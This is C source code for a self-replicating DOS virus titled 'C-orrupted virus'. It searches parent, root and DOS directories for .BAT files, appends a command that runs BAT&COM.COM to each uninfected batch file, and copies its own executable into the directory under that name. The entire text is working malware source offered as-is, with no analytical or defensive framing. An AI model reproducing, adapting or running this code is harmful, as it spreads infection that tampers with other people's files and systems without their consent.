C-orrupted virus

#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>


struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir); /* Save the old directory */
Pick_A_Dir(); /* Find a new directory to */
Infect_Directory(); /* infect and infect it. */
chdir(old_dir); /* Return to old directory */
return 0;
}


Pick_A_Dir()
{
int done;
chdir(".."); /* First, Go out a DIR. */
done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
/* root and DOS */
if (done)
{
chdir("\\");
done=findfirst("*.BAT",&ffblk,0);
if (done) chdir("\\DOS\\");
}
return 0;
}


Infect_Directory()
{
int done;


done = findfirst("*.BAT",&ffblk,0);
while (!done) /* Find all .BAT files */
{ /* and add code to run */
Do_Batch(); /* BAT&COM if not */
done = findnext(&ffblk); /* already there */
}


if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
{Copy_Virus();} /* not exist, then */
return 0; /* copy it into dir.*/
}


Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];


Get_Path(vpath); /* Get path for adding path */
/* specifier in commands */


if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */


batch=fopen(ffblk.ff_name, "rt+");
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0; /* Terminate String */


if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
{ /* Batch is */
fseek(batch, 0, SEEK_END); /* infected.*/
fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
} /*^- Add command */
/* to batch */


fclose(batch);
return 0;
}


Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024]; /* Copy the virus to */
/* new directory */
old_virus=fopen(_argv[0],"rb");
new_virus=fopen("BAT&COM.COM","wb");


write_length=1024;


while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}


Get_Path(char *path)
{
strcpy(path, "A:\\");
path[0] ='A' + getdisk(); /* Returns current path */
getcurdir(0, path+3);
return 0;
}